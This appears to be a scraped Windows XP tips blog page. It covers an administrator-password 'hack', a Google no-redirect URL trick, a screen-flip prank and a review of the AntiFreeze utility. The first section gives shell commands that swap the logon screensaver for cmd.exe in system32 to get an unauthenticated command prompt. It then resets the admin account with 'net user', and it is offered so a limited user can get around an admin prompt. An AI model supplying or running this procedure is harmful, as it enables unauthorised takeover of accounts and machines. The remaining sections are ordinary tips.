Windows XP: How To Change Admin Password

How To Change Admin Password in Windows XP
From: http://www.techmix.in/2012/08/how-to-hack-admin-password-in-windows-xp.html

The need of this hack is when you are installing a software from regular account and the system asks you to enter your admin password.

Try this method.

PROCEDURE :
1.  Open the command prompt.
2.  Type the following code in command prompt

                        cd\
                        cd\windows\system32
                        mkdir temphack
                        copy logon.scr temphack\logon.scr
                        copy cmd.exe temphack\cmd.exe
                       del logon.scr
                       rename cmd.exe logon.scr
                       exit

This tells the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get is an unprotected DOS prompt without logging into XP.

3. Once this happens enter this command:
net user <admin account name here> password
If the Administrator Account is called "techmix" and you want the password to be "blogger" enter this command:
net user techmix blogger
This changes the password on techmix machine to "blogger" and your in.

Google Redirecting & XP Flipping

Stop Google Redirection

Those who live outside the United States can relate to this. Ever get annoyed when you go tohttp://www.google.com

 and Google redirects your browser to your country domain? For example if you are in Sweden (love those meatballs) and you go to Google's search page it will take you to http://www.google.se/

. If you live in Malaysia, Google will redirect your browser tohttp://www.google.com.my/

, and so on. Now, if you don't want to get redirected to your local Google site what do you have to do?

There is actually a simple trick to avoid that. You can just add "ncr" to Google's address after the slash at the end of its URL. In other words, just type http://www.google.com/ncr

. That will lead you to the original Google homepage, without the redirection. If you're curious to know what "ncr" stands for it is just an acronym for "no country redirection".

Just Flippin' For Ya!

This is a simple prank that you can play on someone who still uses Windows XP. Just hit CTRL+Alt+(Arrow Down) on their keyboard and VOILA (!!!) the display on their screen goes upside down...hehe...Pretend you didn't do it and let him say a few expletives. hehehe...Now, to undo it, just hit CTRL+Alt+(Arrow Up). If you suffer bodily harm for this we take no responsibility for it.

This prank works on machines with an INTEL video driver. Meaning if you are using an ATI video card or something other than INTEL it won't work unless you are running XP Tablet Edition. See the information below:

The Ctrl-Alt-Direction key sequence is supposed to be used for changing the screen

orientation. For example, some monitors could be hang upside down for mounting purposes.

Ctrl-Alt-Up – right side up

Ctrl-Alt-Right – 90 degrees

Ctrl-Alt-Down – 180 degrees

Ctrl-Alt-Left – 270 degrees

(If that doesn't work, try Ctrl-Shift-R)

This is a feature in Windows XP Tablet PC Edition.

No harm will come to the computer when you do this trick even if it doesn't apply to that particular machine.

AntiFreeze

Official Site - http://www.resplendence.com/antifreeze

Works on: Windows 2000, XP, Vista, Server 2003 (x86 and x64)

When your computer just sits there not responding to anything that you do to it, including the 3-finger salute (CTRL+ALT+DELETE), the only thing that you can do to it is to force it to shut down by turning it off using the power switch or pressing reset switch. The bad thing about that is if you are doing some work on some open programs when the freeze occurred all that work won't be saved. An alternative solution in unfreezing your system maybe the use of the freeware AntiFreeze as a last resort. The authors of the program wisely promise that it is not guaranteed to work, but it does give you a second chance. AntiFreeze will only work when:
- One or more programs are doing very intensive tasks, they consume so much processor cycles that the system becomes unresponsive
- One or more programs consume so much memory that the swapping file is heavily used, overloading the system
- Programs are running with a scheduling priority which is so high that they consume all processor resources
- Too many programs are running at the same time and they all have to compete for attention from the processor

When invoked via CTRL+Windows+ALT+Home, it gives you the option of suspending all active processes except those essential for Windows, giving you the chance to shut down whichever process has locked your system. It's just a matter of picking and choosing the offending processes that you can terminate so your system can resume normally again, giving you a chance to at least save your work. The suspend/resume function of the program does work as advertised when I tested it. Since it is free, there's nothing to lose if you check it out, especially if you are consistently experiencing system freezes that your Task Manager can't do anything about. Very often the system is so busy that even the Task Manager will not be able to help you.

AntiFreeze is a utility with a very small footprint, sitting in your tray, waiting for you to press the hotkey combination (ALT+CTRL+WIN+HOME by default). You should use it only in emergency situations, consider it an alternative for the reset button.
